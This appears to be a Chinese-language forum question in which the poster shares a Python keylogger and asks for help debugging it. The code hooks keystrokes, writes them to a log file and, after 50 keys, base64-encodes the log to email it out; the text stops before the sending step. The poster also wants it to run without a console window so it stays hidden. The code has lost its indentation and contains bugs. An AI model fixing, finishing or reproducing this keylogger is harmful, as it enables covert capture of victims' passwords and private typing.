只需编写以下用于键盘记录的代码并通过电子邮件发送即可。 我有2个无法解决的问题: 1)我收到错误“名称'事件'未定义” 2)当我使用pyinstaller --onefile时,它运行得很好,并在50次击键后发送电子邮件,但是当我添加-w(无控制台)时,它只会发送前50次击键。
points = 0
with open(file_log,'w+') as f:
print ""
f.close
def OnKeyboardEvent(event):
global points
points += 1
print points
if event.Ascii==5:
f=open(file_log,'r+')
f.close()
os.remove(file_log)
sys.exit(0)
if event.Ascii !=0 or 8:
f=open(file_log,'r+')
buffer=f.read()
f.close()
f=open(file_log,'w+')
keylogs=chr(event.Ascii)
#if press ENTER
if event.Ascii==13:
keylogs='\n'
if event.Ascii==32:
keylogs=' '
buffer+=keylogs
f.write(buffer)
f.close()
if points == 50: ## how may letters typed
points = 0
fo = open(file_log, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)